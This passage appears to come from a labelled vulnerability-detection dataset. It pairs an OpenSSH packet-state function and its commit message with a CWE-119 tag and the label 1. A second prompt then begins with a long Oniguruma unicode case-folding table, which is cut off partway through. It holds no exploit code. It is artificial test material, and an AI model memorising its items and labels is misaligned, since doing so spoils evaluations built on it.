ssh_packet_set_postauth(ssh)) != 0) return r; sshbuf_reset(state->input); sshbuf_reset(state->output); if ((r = sshbuf_get_string_direct(m, &input, &ilen)) != 0 || (r = sshbuf_get_string_direct(m, &output, &olen)) != 0 || (r = sshbuf_put(state->input, input, ilen)) != 0 || (r = sshbuf_put(state->output, output, olen)) != 0) return r; if (sshbuf_len(m)) return SSH_ERR_INVALID_FORMAT; debug3("%s: done", __func__); return 0; } Commit Message: Remove support for pre-authentication compression. Doing compression early in the protocol probably seemed reasonable in the 1990s, but today it's clearly a bad idea in terms of both cryptography (cf. multiple compression oracle attacks in TLS) and attack surface. Moreover, to support it across privilege-separation zlib needed the assistance of a complex shared-memory manager that made the required attack surface considerably larger. Prompted by Guido Vranken pointing out a compiler-elided security check in the shared memory manager found by Stack (http://css.csail.mit.edu/stack/); ok deraadt@ markus@ NB. pre-auth authentication has been disabled by default in sshd for >10 years. CWE ID: CWE-119 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: unicode_unfold_key(OnigCodePoint code) { static const struct ByUnfoldKey wordlist[] = { {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x1040a, 3267, 1}, {0x1e0a, 1727, 1}, {0x040a, 1016, 1}, {0x010a, 186, 1}, {0x1f0a, 2088, 1}, {0x2c0a, 2451, 1}, {0x0189, 619, 1}, {0x1f89, 134, 2}, {0x1f85, 154, 2}, {0x0389, 733, 1}, {0x03ff, 724, 1}, {0xab89, 1523, 1}, {0xab85, 1511, 1}, {0x10c89, 3384, 1}, {0x10c85, 3372, 1}, {0x1e84, 1911, 1}, {0x03f5, 752, 1}, {0x0184, 360, 1}, {0x1f84, 149, 2}, {0x2c84, 2592, 1}, {0x017d, 351, 1}, {0x1ff3, 96, 2}, {0xab84, 1508, 1}, {0xa784, 3105, 1}, {0x10c84, 3369, 1}, {0xab7d, 1487, 1}, {0xa77d, 1706, 1}, {0x1e98, 38, 2}, {0x0498, 1106, 1}, {0x0198, 375, 1}, {0x1f98, 169, 2}, {0x2c98, 2622, 1}, {0x0398, 762, 1}, {0xa684, 2940, 1}, {0xab98, 1568, 1}, {0xa798, 3123, 1}, {0x10c98, 3429, 1}, {0x050a, 1277, 1}, {0x1ffb, 2265, 1}, {0x1e96, 16, 2}, {0x0496, 1103, 1}, {0x0196, 652, 1}, {0x1f96, 199, 2}, {0x2c96, 2619, 1}, {0x0396, 756, 1}, {0xa698, 2970, 1}, {0xab96, 1562, 1}, {0xa796, 3120, 1}, {0x10c96, 3423, 1}, {0x1feb, 2259, 1}, {0x2ceb, 2736, 1}, {0x1e90, 1929, 1}, {0x0490, 1094, 1}, {0x0190, 628, 1}, {0x1f90, 169, 2}, {0x2c90, 2610, 1}, {0x0390, 25, 3}, {0xa696, 2967, 1}, {0xab90, 1544, 1}, {0xa790, 3114, 1}, {0x10c90, 3405, 1}, {0x01d7, 444, 1}, {0x1fd7, 31, 3}, {0x1ea6, 1947, 1}, {0x04a6, 1127, 1}, {0x01a6, 676, 1}, {0x1fa6, 239, 2}, {0x2ca6, 2643, 1}, {0x03a6, 810, 1}, {0xa690, 2958, 1}, {0xaba6, 1610, 1}, {0xa7a6, 3144, 1}, {0x10ca6, 3471, 1}, {0x1ea4, 1944, 1}, {0x04a4, 1124, 1}, {0x01a4, 390, 1}, {0x1fa4, 229, 2}, {0x2ca4, 2640, 1}, {0x03a4, 804, 1}, {0x10a6, 2763, 1}, {0xaba4, 1604, 1}, {0xa7a4, 3141, 1}, {0x10ca4, 3465, 1}, {0x1ea0, 1938, 1}, {0x04a0, 1118, 1}, {0x01a0, 384, 1}, {0x1fa0, 209, 2}, {0x2ca0, 2634, 1}, {0x03a0, 792, 1}, {0x10a4, 2757, 1}, {0xaba0, 1592, 1}, {0xa7a0, 3135, 1}, {0x10ca0, 3453, 1}, {0x1eb2, 1965, 1}, {0x04b2, 1145, 1}, {0x01b2, 694, 1}, {0x1fb2, 249, 2}, {0x2cb2, 2661, 1}, {0x03fd, 718, 1}, {0x10a0, 2745, 1}, {0xabb2, 1646, 1}, {0xa7b2, 703, 1}, {0x10cb2, 3507, 1}, {0x1eac, 1956, 1}, {0x04ac, 1136, 1}, {0x01ac, 396, 1}, {0x1fac, 229, 2}, {0x2cac, 2652, 1}, {0x0537, 1352, 1}, {0x10b2, 2799, 1}, {0xabac, 1628, 1}, {0xa7ac, 637, 1}, {0x10cac, 3489, 1}, {0x1eaa, 1953, 1}, {0x04aa, 1133, 1}, {0x00dd, 162, 1}, {0x1faa, 219, 2}, {0x2caa, 2649, 1}, {0x03aa, 824, 1}, {0x10ac, 2781, 1}, {0xabaa, 1622, 1}, {0xa7aa, 646, 1}, {0x10caa, 3483, 1}, {0x1ea8, 1950, 1}, {0x04a8, 1130, 1}, {0x020a, 517, 1}, {0x1fa8, 209, 2}, {0x2ca8, 2646, 1}, {0x03a8, 817, 1}, {0x10aa, 2775, 1}, {0xaba8, 1616, 1}, {0xa7a8, 3147, 1}, {0x10ca8, 3477, 1}, {0x1ea2, 1941, 1}, {0x04a2, 1121, 1}, {0x01a2, 387, 1}, {0x1fa2, 219, 2}, {0x2ca2, 2637, 1}, {0x118a6, 3528, 1}, {0x10a8, 2769, 1}, {0xaba2, 1598, 1}, {0xa7a2, 3138, 1}, {0x10ca2, 3459, 1}, {0x2ced, 2739, 1}, {0x1fe9, 2283, 1}, {0x1fe7, 47, 3}, {0x1eb0, 1962, 1}, {0x04b0, 1142, 1}, {0x118a4, 3522, 1}, {0x10a2, 2751, 1}, {0x2cb0, 2658, 1}, {0x03b0, 41, 3}, {0x1fe3, 41, 3}, {0xabb0, 1640, 1}, {0xa7b0, 706, 1}, {0x10cb0, 3501, 1}, {0x01d9, 447, 1}, {0x1fd9, 2277, 1}, {0x118a0, 3510, 1}, {0x00df, 24, 2}, {0x00d9, 150, 1}, {0xab77, 1469, 1}, {0x10b0, 2793, 1}, {0x1eae, 1959, 1}, {0x04ae, 1139, 1}, {0x01ae, 685, 1}, {0x1fae, 239, 2}, {0x2cae, 2655, 1}, {0x118b2, 3564, 1}, {0xab73, 1457, 1}, {0xabae, 1634, 1}, {0xab71, 1451, 1}, {0x10cae, 3495, 1}, {0x1e2a, 1775, 1}, {0x042a, 968, 1}, {0x012a, 234, 1}, {0x1f2a, 2130, 1}, {0x2c2a, 2547, 1}, {0x118ac, 3546, 1}, {0x10ae, 2787, 1}, {0x0535, 1346, 1}, {0xa72a, 2988, 1}, {0x1e9a, 0, 2}, {0x049a, 1109, 1}, {0xff37, 3225, 1}, {0x1f9a, 179, 2}, {0x2c9a, 2625, 1}, {0x039a, 772, 1}, {0x118aa, 3540, 1}, {0xab9a, 1574, 1}, {0xa79a, 3126, 1}, {0x10c9a, 3435, 1}, {0x1e94, 1935, 1}, {0x0494, 1100, 1}, {0x0194, 640, 1}, {0x1f94, 189, 2}, {0x2c94, 2616, 1}, {0x0394, 749, 1}, {0x118a8, 3534, 1}, {0xab94, 1556, 1}, {0xa69a, 2973, 1}, {0x10c94, 3417, 1}, {0x10402, 3243, 1}, {0x1e02, 1715, 1}, {0x0402, 992, 1}, {0x0102, 174, 1}, {0x0533, 1340, 1}, {0x2c02, 2427, 1}, {0x118a2, 3516, 1}, {0x052a, 1325, 1}, {0xa694, 2964, 1}, {0x1e92, 1932, 1}, {0x0492, 1097, 1}, {0x2165, 2307, 1}, {0x1f92, 179, 2}, {0x2c92, 2613, 1}, {0x0392, 742, 1}, {0x2161, 2295, 1}, {0xab92, 1550, 1}, {0xa792, 3117, 1}, {0x10c92, 3411, 1}, {0x118b0, 3558, 1}, {0x1f5f, 2199, 1}, {0x1e8e, 1926, 1}, {0x048e, 1091, 1}, {0x018e, 453, 1}, {0x1f8e, 159, 2}, {0x2c8e, 2607, 1}, {0x038e, 833, 1}, {0xa692, 2961, 1}, {0xab8e, 1538, 1}, {0x0055, 59, 1}, {0x10c8e, 3399, 1}, {0x1f5d, 2196, 1}, {0x212a, 27, 1}, {0x04cb, 1181, 1}, {0x01cb, 425, 1}, {0x1fcb, 2241, 1}, {0x118ae, 3552, 1}, {0x0502, 1265, 1}, {0x00cb, 111, 1}, {0xa68e, 2955, 1}, {0x1e8a, 1920, 1}, {0x048a, 1085, 1}, {0x018a, 622, 1}, {0x1f8a, 139, 2}, {0x2c8a, 2601, 1}, {0x038a, 736, 1}, {0x2c67, 2571, 1}, {0xab8a, 1526, 1}, {0x1e86, 1914, 1}, {0x10c8a, 3387, 1}, {0x0186, 616, 1}, {0x1f86, 159, 2}, {0x2c86, 2595, 1}, {0x0386, 727, 1}, {0xff35, 3219, 1}, {0xab86, 1514, 1}, {0xa786, 3108, 1}, {0x10c86, 3375, 1}, {0xa68a, 2949, 1}, {0x0555, 1442, 1}, {0x1ebc, 1980, 1}, {0x04bc, 1160, 1}, {0x01bc, 411, 1}, {0x1fbc, 62, 2}, {0x2cbc, 2676, 1}, {0x1f5b, 2193, 1}, {0xa686, 2943, 1}, {0xabbc, 1676, 1}, {0x1eb8, 1974, 1}, {0x04b8, 1154, 1}, {0x01b8, 408, 1}, {0x1fb8, 2268, 1}, {0x2cb8, 2670, 1}, {0x01db, 450, 1}, {0x1fdb, 2247, 1}, {0xabb8, 1664, 1}, {0x10bc, 2829, 1}, {0x00db, 156, 1}, {0x1eb6, 1971, 1}, {0x04b6, 1151, 1}, {0xff33, 3213, 1}, {0x1fb6, 58, 2}, {0x2cb6, 2667, 1}, {0xff2a, 3186, 1}, {0x10b8, 2817, 1}, {0xabb6, 1658, 1}, {0xa7b6, 3153, 1}, {0x10426, 3351, 1}, {0x1e26, 1769, 1}, {0x0426, 956, 1}, {0x0126, 228, 1}, {0x0053, 52, 1}, {0x2c26, 2535, 1}, {0x0057, 65, 1}, {0x10b6, 2811, 1}, {0x022a, 562, 1}, {0xa726, 2982, 1}, {0x1e2e, 1781, 1}, {0x042e, 980, 1}, {0x012e, 240, 1}, {0x1f2e, 2142, 1}, {0x2c2e, 2559, 1}, {0xffffffff, -1, 0}, {0x2167, 2313, 1}, {0xffffffff, -1, 0}, {0xa72e, 2994, 1}, {0x1e2c, 1778, 1}, {0x042c, 974, 1}, {0x012c, 237, 1}, {0x1f2c, 2136, 1}, {0x2c2c, 2553, 1}, {0x1f6f, 2223, 1}, {0x2c6f, 604, 1}, {0xabbf, 1685, 1}, {0xa72c, 2991, 1}, {0x1e28, 1772, 1}, {0x0428, 962, 1}, {0x0128, 231, 1}, {0x1f28, 2124, 1}, {0x2c28, 2541, 1}, {0xffffffff, -1, 0}, {0x0553, 1436, 1}, {0x10bf, 2838, 1}, {0xa728, 2985, 1}, {0x0526, 1319, 1}, {0x0202, 505, 1}, {0x1e40, 1808, 1}, {0x10424, 3345, 1}, {0x1e24, 1766, 1}, {0x0424, 950, 1}, {0x0124, 225, 1}, {0xffffffff, -1, 0}, {0x2c24, 2529, 1}, {0x052e, 1331, 1}, {0xa740, 3018, 1}, {0x118bc, 3594, 1}, {0xa724, 2979, 1}, {0x1ef2, 2061, 1}, {0x04f2, 1241, 1}, {0x01f2, 483, 1}, {0x1ff2, 257, 2}, {0x2cf2, 2742, 1}, {0x052c, 1328, 1}, {0x118b8, 3582, 1}, {0xa640, 2865, 1}, {0x10422, 3339, 1}, {0x1e22, 1763, 1}, {0x0422, 944, 1}, {0x0122, 222, 1}, {0x2126, 820, 1}, {0x2c22, 2523, 1}, {0x0528, 1322, 1}, {0x01f1, 483, 1}, {0x118b6, 3576, 1}, {0xa722, 2976, 1}, {0x03f1, 796, 1}, {0x1ebe, 1983, 1}, {0x04be, 1163, 1}, {0xfb02, 12, 2}, {0x1fbe, 767, 1}, {0x2cbe, 2679, 1}, {0x01b5, 405, 1}, {0x0540, 1379, 1}, {0xabbe, 1682, 1}, {0x0524, 1316, 1}, {0x00b5, 779, 1}, {0xabb5, 1655, 1}, {0x1eba, 1977, 1}, {0x04ba, 1157, 1}, {0x216f, 2337, 1}, {0x1fba, 2226, 1}, {0x2cba, 2673, 1}, {0x10be, 2835, 1}, {0x0051, 46, 1}, {0xabba, 1670, 1}, {0x10b5, 2808, 1}, {0x1e6e, 1878, 1}, {0x046e, 1055, 1}, {0x016e, 330, 1}, {0x1f6e, 2220, 1}, {0x2c6e, 664, 1}, {0x118bf, 3603, 1}, {0x0522, 1313, 1}, {0x10ba, 2823, 1}, {0xa76e, 3087, 1}, {0x1eb4, 1968, 1}, {0x04b4, 1148, 1}, {0x2c75, 2583, 1}, {0x1fb4, 50, 2}, {0x2cb4, 2664, 1}, {0xab75, 1463, 1}, {0x1ec2, 1989, 1}, {0xabb4, 1652, 1}, {0xa7b4, 3150, 1}, {0x1fc2, 253, 2}, {0x2cc2, 2685, 1}, {0x03c2, 800, 1}, {0x00c2, 83, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff26, 3174, 1}, {0x10b4, 2805, 1}, {0x1eca, 2001, 1}, {0x0551, 1430, 1}, {0x01ca, 425, 1}, {0x1fca, 2238, 1}, {0x2cca, 2697, 1}, {0x10c2, 2847, 1}, {0x00ca, 108, 1}, {0xff2e, 3198, 1}, {0x1e8c, 1923, 1}, {0x048c, 1088, 1}, {0x0226, 556, 1}, {0x1f8c, 149, 2}, {0x2c8c, 2604, 1}, {0x038c, 830, 1}, {0xffffffff, -1, 0}, {0xab8c, 1532, 1}, {0xff2c, 3192, 1}, {0x10c8c, 3393, 1}, {0x1ec4, 1992, 1}, {0x022e, 568, 1}, {0x01c4, 417, 1}, {0x1fc4, 54, 2}, {0x2cc4, 2688, 1}, {0xffffffff, -1, 0}, {0x00c4, 89, 1}, {0xff28, 3180, 1}, {0xa68c, 2952, 1}, {0x01cf, 432, 1}, {0x022c, 565, 1}, {0x118be, 3600, 1}, {0x03cf, 839, 1}, {0x00cf, 123, 1}, {0x118b5, 3573, 1}, {0xffffffff, -1, 0}, {0x10c4, 2853, 1}, {0x216e, 2334, 1}, {0x24cb, 2406, 1}, {0x0228, 559, 1}, {0xff24, 3168, 1}, {0xffffffff, -1, 0}, {0x118ba, 3588, 1}, {0x1efe, 2079, 1}, {0x04fe, 1259, 1}, {0x01fe, 499, 1}, {0x1e9e, 24, 2}, {0x049e, 1115, 1}, {0x03fe, 721, 1}, {0x1f9e, 199, 2}, {0x2c9e, 2631, 1}, {0x039e, 786, 1}, {0x0224, 553, 1}, {0xab9e, 1586, 1}, {0xa79e, 3132, 1}, {0x10c9e, 3447, 1}, {0x01f7, 414, 1}, {0x1ff7, 67, 3}, {0xff22, 3162, 1}, {0x03f7, 884, 1}, {0x118b4, 3570, 1}, {0x049c, 1112, 1}, {0x019c, 661, 1}, {0x1f9c, 189, 2}, {0x2c9c, 2628, 1}, {0x039c, 779, 1}, {0x24bc, 2361, 1}, {0xab9c, 1580, 1}, {0xa79c, 3129, 1}, {0x10c9c, 3441, 1}, {0x0222, 550, 1}, {0x1e7c, 1899, 1}, {0x047c, 1076, 1}, {0x1e82, 1908, 1}, {0x24b8, 2349, 1}, {0x0182, 357, 1}, {0x1f82, 139, 2}, {0x2c82, 2589, 1}, {0xab7c, 1484, 1}, {0xffffffff, -1, 0}, {0xab82, 1502, 1}, {0xa782, 3102, 1}, {0x10c82, 3363, 1}, {0x2c63, 1709, 1}, {0x24b6, 2343, 1}, {0x1e80, 1905, 1}, {0x0480, 1082, 1}, {0x1f59, 2190, 1}, {0x1f80, 129, 2}, {0x2c80, 2586, 1}, {0x0059, 71, 1}, {0xa682, 2937, 1}, {0xab80, 1496, 1}, {0xa780, 3099, 1}, {0x10c80, 3357, 1}, {0xffffffff, -1, 0}, {0x1e4c, 1826, 1}, {0x0145, 270, 1}, {0x014c, 279, 1}, {0x1f4c, 2184, 1}, {0x0345, 767, 1}, {0x0045, 12, 1}, {0x004c, 31, 1}, {0xa680, 2934, 1}, {0xa74c, 3036, 1}, {0x1e4a, 1823, 1}, {0x01d5, 441, 1}, {0x014a, 276, 1}, {0x1f4a, 2178, 1}, {0x03d5, 810, 1}, {0x00d5, 141, 1}, {0x004a, 24, 1}, {0x24bf, 2370, 1}, {0xa74a, 3033, 1}, {0xa64c, 2883, 1}, {0x1041c, 3321, 1}, {0x1e1c, 1754, 1}, {0x041c, 926, 1}, {0x011c, 213, 1}, {0x1f1c, 2118, 1}, {0x2c1c, 2505, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xa64a, 2880, 1}, {0x1041a, 3315, 1}, {0x1e1a, 1751, 1}, {0x041a, 920, 1}, {0x011a, 210, 1}, {0x1f1a, 2112, 1}, {0x2c1a, 2499, 1}, {0xabbd, 1679, 1}, {0x0545, 1394, 1}, {0x054c, 1415, 1}, {0x10418, 3309, 1}, {0x1e18, 1748, 1}, {0x0418, 914, 1}, {0x0118, 207, 1}, {0x1f18, 2106, 1}, {0x2c18, 2493, 1}, {0x10bd, 2832, 1}, {0x2163, 2301, 1}, {0x054a, 1409, 1}, {0x1040e, 3279, 1}, {0x1e0e, 1733, 1}, {0x040e, 1028, 1}, {0x010e, 192, 1}, {0x1f0e, 2100, 1}, {0x2c0e, 2463, 1}, {0x1efc, 2076, 1}, {0x04fc, 1256, 1}, {0x01fc, 496, 1}, {0x1ffc, 96, 2}, {0x051c, 1304, 1}, {0x1040c, 3273, 1}, {0x1e0c, 1730, 1}, {0x040c, 1022, 1}, {0x010c, 189, 1}, {0x1f0c, 2094, 1}, {0x2c0c, 2457, 1}, {0x1f6d, 2217, 1}, {0x2c6d, 607, 1}, {0x051a, 1301, 1}, {0x24be, 2367, 1}, {0x10408, 3261, 1}, {0x1e08, 1724, 1}, {0x0408, 1010, 1}, {0x0108, 183, 1}, {0x1f08, 2082, 1}, {0x2c08, 2445, 1}, {0x04c9, 1178, 1}, {0x0518, 1298, 1}, {0x1fc9, 2235, 1}, {0xffffffff, -1, 0}, {0x24ba, 2355, 1}, {0x00c9, 105, 1}, {0x10416, 3303, 1}, {0x1e16, 1745, 1}, {0x0416, 908, 1}, {0x0116, 204, 1}, {0x050e, 1283, 1}, {0x2c16, 2487, 1}, {0x10414, 3297, 1}, {0x1e14, 1742, 1}, {0x0414, 902, 1}, {0x0114, 201, 1}, {0x042b, 971, 1}, {0x2c14, 2481, 1}, {0x1f2b, 2133, 1}, {0x2c2b, 2550, 1}, {0xffffffff, -1, 0}, {0x050c, 1280, 1}, {0x10406, 3255, 1}, {0x1e06, 1721, 1}, {0x0406, 1004, 1}, {0x0106, 180, 1}, {0x13fb, 1697, 1}, {0x2c06, 2439, 1}, {0x24c2, 2379, 1}, {0x118bd, 3597, 1}, {0xffffffff, -1, 0}, {0x0508, 1274, 1}, {0x10404, 3249, 1}, {0x1e04, 1718, 1}, {0x0404, 998, 1}, {0x0104, 177, 1}, {0x1f95, 194, 2}, {0x2c04, 2433, 1}, {0x0395, 752, 1}, {0x24ca, 2403, 1}, {0xab95, 1559, 1}, {0x0531, 1334, 1}, {0x10c95, 3420, 1}, {0x0516, 1295, 1}, {0x1e6c, 1875, 1}, {0x046c, 1052, 1}, {0x016c, 327, 1}, {0x1f6c, 2214, 1}, {0x216d, 2331, 1}, {0x0514, 1292, 1}, {0x0245, 697, 1}, {0x024c, 598, 1}, {0xa76c, 3084, 1}, {0x10400, 3237, 1}, {0x1e00, 1712, 1}, {0x0400, 986, 1}, {0x0100, 171, 1}, {0x24c4, 2385, 1}, {0x2c00, 2421, 1}, {0x0506, 1271, 1}, {0x024a, 595, 1}, {0x1fab, 224, 2}, {0xa66c, 2931, 1}, {0x03ab, 827, 1}, {0x24cf, 2418, 1}, {0xabab, 1625, 1}, {0xa7ab, 631, 1}, {0x10cab, 3486, 1}, {0xffffffff, -1, 0}, {0x0504, 1268, 1}, {0xffffffff, -1, 0}, {0x021c, 544, 1}, {0x01a9, 679, 1}, {0x1fa9, 214, 2}, {0x10ab, 2778, 1}, {0x03a9, 820, 1}, {0x212b, 92, 1}, {0xaba9, 1619, 1}, {0x1e88, 1917, 1}, {0x10ca9, 3480, 1}, {0x021a, 541, 1}, {0x1f88, 129, 2}, {0x2c88, 2598, 1}, {0x0388, 730, 1}, {0x13fd, 1703, 1}, {0xab88, 1520, 1}, {0x10a9, 2772, 1}, {0x10c88, 3381, 1}, {0xffffffff, -1, 0}, {0x0218, 538, 1}, {0x0500, 1262, 1}, {0x1f4d, 2187, 1}, {0x01a7, 393, 1}, {0x1fa7, 244, 2}, {0x004d, 34, 1}, {0x03a7, 814, 1}, {0xa688, 2946, 1}, {0xaba7, 1613, 1}, {0x020e, 523, 1}, {0x10ca7, 3474, 1}, {0x1e6a, 1872, 1}, {0x046a, 1049, 1}, {0x016a, 324, 1}, {0x1f6a, 2208, 1}, {0xffffffff, -1, 0}, {0x216c, 2328, 1}, {0x10a7, 2766, 1}, {0x01d1, 435, 1}, {0xa76a, 3081, 1}, {0x020c, 520, 1}, {0x03d1, 762, 1}, {0x00d1, 129, 1}, {0x1e68, 1869, 1}, {0x0468, 1046, 1}, {0x0168, 321, 1}, {0x1f68, 2202, 1}, {0xffffffff, -1, 0}, {0xff31, 3207, 1}, {0xa66a, 2928, 1}, {0x0208, 514, 1}, {0xa768, 3078, 1}, {0x1e64, 1863, 1}, {0x0464, 1040, 1}, {0x0164, 315, 1}, {0x054d, 1418, 1}, {0x2c64, 673, 1}, {0xffffffff, -1, 0}, {0xff2b, 3189, 1}, {0xffffffff, -1, 0}, {0xa764, 3072, 1}, {0xa668, 2925, 1}, {0x0216, 535, 1}, {0xffffffff, -1, 0}, {0x118ab, 3543, 1}, {0x1e62, 1860, 1}, {0x0462, 1037, 1}, {0x0162, 312, 1}, {0x0214, 532, 1}, {0x2c62, 655, 1}, {0xa664, 2919, 1}, {0x1ed2, 2013, 1}, {0x04d2, 1193, 1}, {0xa762, 3069, 1}, {0x1fd2, 20, 3}, {0x2cd2, 2709, 1}, {0x118a9, 3537, 1}, {0x00d2, 132, 1}, {0x0206, 511, 1}, {0x10420, 3333, 1}, {0x1e20, 1760, 1}, {0x0420, 938, 1}, {0x0120, 219, 1}, {0xa662, 2916, 1}, {0x2c20, 2517, 1}, {0x1e60, 1856, 1}, {0x0460, 1034, 1}, {0x0160, 309, 1}, {0x0204, 508, 1}, {0x2c60, 2562, 1}, {0xffffffff, -1, 0}, {0x24bd, 2364, 1}, {0x216a, 2322, 1}, {0xa760, 3066, 1}, {0xffffffff, -1, 0}, {0xfb16, 125, 2}, {0x118a7, 3531, 1}, {0x1efa, 2073, 1}, {0x04fa, 1253, 1}, {0x01fa, 493, 1}, {0x1ffa, 2262, 1}, {0xfb14, 109, 2}, {0x03fa, 887, 1}, {0xa660, 2913, 1}, {0x2168, 2316, 1}, {0x01b7, 700, 1}, {0x1fb7, 10, 3}, {0x1f6b, 2211, 1}, {0x2c6b, 2577, 1}, {0x0200, 502, 1}, {0xabb7, 1661, 1}, {0xfb06, 29, 2}, {0x1e56, 1841, 1}, {0x2164, 2304, 1}, {0x0156, 294, 1}, {0x1f56, 62, 3}, {0x0520, 1310, 1}, {0x004f, 40, 1}, {0x0056, 62, 1}, {0x10b7, 2814, 1}, {0xa756, 3051, 1}, {0xfb04, 5, 3}, {0x1e78, 1893, 1}, {0x0478, 1070, 1}, {0x0178, 168, 1}, {0x1e54, 1838, 1}, {0x2162, 2298, 1}, {0x0154, 291, 1}, {0x1f54, 57, 3}, {0xab78, 1472, 1}, {0xa656, 2898, 1}, {0x0054, 56, 1}, {0x1e52, 1835, 1}, {0xa754, 3048, 1}, {0x0152, 288, 1}, {0x1f52, 52, 3}, {0x24c9, 2400, 1}, {0x1e32, 1787, 1}, {0x0052, 49, 1}, {0x0132, 243, 1}, {0xa752, 3045, 1}, {0xffffffff, -1, 0}, {0xfb00, 4, 2}, {0xa654, 2895, 1}, {0xffffffff, -1, 0}, {0xa732, 2997, 1}, {0x2160, 2292, 1}, {0x054f, 1424, 1}, {0x0556, 1445, 1}, {0x1e50, 1832, 1}, {0xa652, 2892, 1}, {0x0150, 285, 1}, {0x1f50, 84, 2}, {0x017b, 348, 1}, {0x1e4e, 1829, 1}, {0x0050, 43, 1}, {0x014e, 282, 1}, {0xa750, 3042, 1}, {0xab7b, 1481, 1}, {0xa77b, 3093, 1}, {0x004e, 37, 1}, {0x0554, 1439, 1}, {0xa74e, 3039, 1}, {0x1e48, 1820, 1}, {0xffffffff, -1, 0}, {0x216b, 2325, 1}, {0x1f48, 2172, 1}, {0xa650, 2889, 1}, {0x0552, 1433, 1}, {0x0048, 21, 1}, {0xffffffff, -1, 0}, {0xa748, 3030, 1}, {0xa64e, 2886, 1}, {0x0532, 1337, 1}, {0x1041e, 3327, 1}, {0x1e1e, 1757, 1}, {0x041e, 932, 1}, {0x011e, 216, 1}, {0x118b7, 3579, 1}, {0x2c1e, 2511, 1}, {0xffffffff, -1, 0}, {0xa648, 2877, 1}, {0x1ff9, 2253, 1}, {0xffffffff, -1, 0}, {0x03f9, 878, 1}, {0x0550, 1427, 1}, {0x10412, 3291, 1}, {0x1e12, 1739, 1}, {0x0412, 896, 1}, {0x0112, 198, 1}, {0x054e, 1421, 1}, {0x2c12, 2475, 1}, {0x10410, 3285, 1}, {0x1e10, 1736, 1}, {0x0410, 890, 1}, {0x0110, 195, 1}, {0xffffffff, -1, 0}, {0x2c10, 2469, 1}, {0x2132, 2289, 1}, {0x0548, 1403, 1}, {0x1ef8, 2070, 1}, {0x04f8, 1250, 1}, {0x01f8, 490, 1}, {0x1ff8, 2250, 1}, {0x0220, 381, 1}, {0x1ee2, 2037, 1}, {0x04e2, 1217, 1}, {0x01e2, 462, 1}, {0x1fe2, 36, 3}, {0x2ce2, 2733, 1}, {0x03e2, 857, 1}, {0x051e, 1307, 1}, {0x1ede, 2031, 1}, {0x04de, 1211, 1}, {0x01de, 456, 1}, {0xffffffff, -1, 0}, {0x2cde, 2727, 1}, {0x03de, 851, 1}, {0x00de, 165, 1}, {0x1f69, 2205, 1}, {0x2c69, 2574, 1}, {0x1eda, 2025, 1}, {0x04da, 1205, 1}, {0x0512, 1289, 1}, {0x1fda, 2244, 1}, {0x2cda, 2721, 1}, {0x03da, 845, 1}, {0x00da, 153, 1}, {0xffffffff, -1, 0}, {0x0510, 1286, 1}, {0x1ed8, 2022, 1}, {0x04d8, 1202, 1}, {0xffffffff, -1, 0}, {0x1fd8, 2274, 1}, {0x2cd8, 2718, 1}, {0x03d8, 842, 1}, {0x00d8, 147, 1}, {0x1ed6, 2019, 1}, {0x04d6, 1199, 1}, {0xffffffff, -1, 0}, {0x1fd6, 76, 2}, {0x2cd6, 2715, 1}, {0x03d6, 792, 1}, {0x00d6, 144, 1}, {0x1ec8, 1998, 1}, {0xffffffff, -1, 0}, {0x01c8, 421, 1}, {0x1fc8, 2232, 1}, {0x2cc8, 2694, 1}, {0xff32, 3210, 1}, {0x00c8, 102, 1}, {0x04c7, 1175, 1}, {0x01c7, 421, 1}, {0x1fc7, 15, 3}, {0x1ec0, 1986, 1}, {0x04c0, 1187, 1}, {0x00c7, 99, 1}, {0xffffffff, -1, 0}, {0x2cc0, 2682, 1}, {0x0179, 345, 1}, {0x00c0, 77, 1}, {0x0232, 574, 1}, {0x01b3, 402, 1}, {0x1fb3, 62, 2}, {0xab79, 1475, 1}, {0xa779, 3090, 1}, {0x10c7, 2859, 1}, {0xabb3, 1649, 1}, {0xa7b3, 3156, 1}, {0x1fa5, 234, 2}, {0x10c0, 2841, 1}, {0x03a5, 807, 1}, {0xffffffff, -1, 0}, {0xaba5, 1607, 1}, {0x01b1, 691, 1}, {0x10ca5, 3468, 1}, {0x10b3, 2802, 1}, {0x2169, 2319, 1}, {0x024e, 601, 1}, {0xabb1, 1643, 1}, {0xa7b1, 682, 1}, {0x10cb1, 3504, 1}, {0x10a5, 2760, 1}, {0xffffffff, -1, 0}, {0x01af, 399, 1}, {0x1faf, 244, 2}, {0xffffffff, -1, 0}, {0x0248, 592, 1}, {0x10b1, 2796, 1}, {0xabaf, 1637, 1}, {0x1fad, 234, 2}, {0x10caf, 3498, 1}, {0x04cd, 1184, 1}, {0x01cd, 429, 1}, {0xabad, 1631, 1}, {0xa7ad, 658, 1}, {0x10cad, 3492, 1}, {0x00cd, 117, 1}, {0x10af, 2790, 1}, {0x021e, 547, 1}, {0x1fa3, 224, 2}, {0xffffffff, -1, 0}, {0x03a3, 800, 1}, {0x10ad, 2784, 1}, {0xaba3, 1601, 1}, {0xffffffff, -1, 0}, {0x10ca3, 3462, 1}, {0x10cd, 2862, 1}, {0x1fa1, 214, 2}, {0x24b7, 2346, 1}, {0x03a1, 796, 1}, {0x0212, 529, 1}, {0xaba1, 1595, 1}, {0x10a3, 2754, 1}, {0x10ca1, 3456, 1}, {0x01d3, 438, 1}, {0x1fd3, 25, 3}, {0x0210, 526, 1}, {0xffffffff, -1, 0}, {0x00d3, 135, 1}, {0x1e97, 34, 2}, {0x10a1, 2748, 1}, {0x0197, 649, 1}, {0x1f97, 204, 2}, {0xffffffff, -1, 0}, {0x0397, 759, 1}, {0x1041d, 3324, 1}, {0xab97, 1565, 1}, {0x041d, 929, 1}, {0x10c97, 3426, 1}, {0x1f1d, 2121, 1}, {0x2c1d, 2508, 1}, {0x1e72, 1884, 1}, {0x0472, 1061, 1}, {0x0172, 336, 1}, {0x118b3, 3567, 1}, {0x2c72, 2580, 1}, {0x0372, 712, 1}, {0x1041b, 3318, 1}, {0xab72, 1454, 1}, {0x041b, 923, 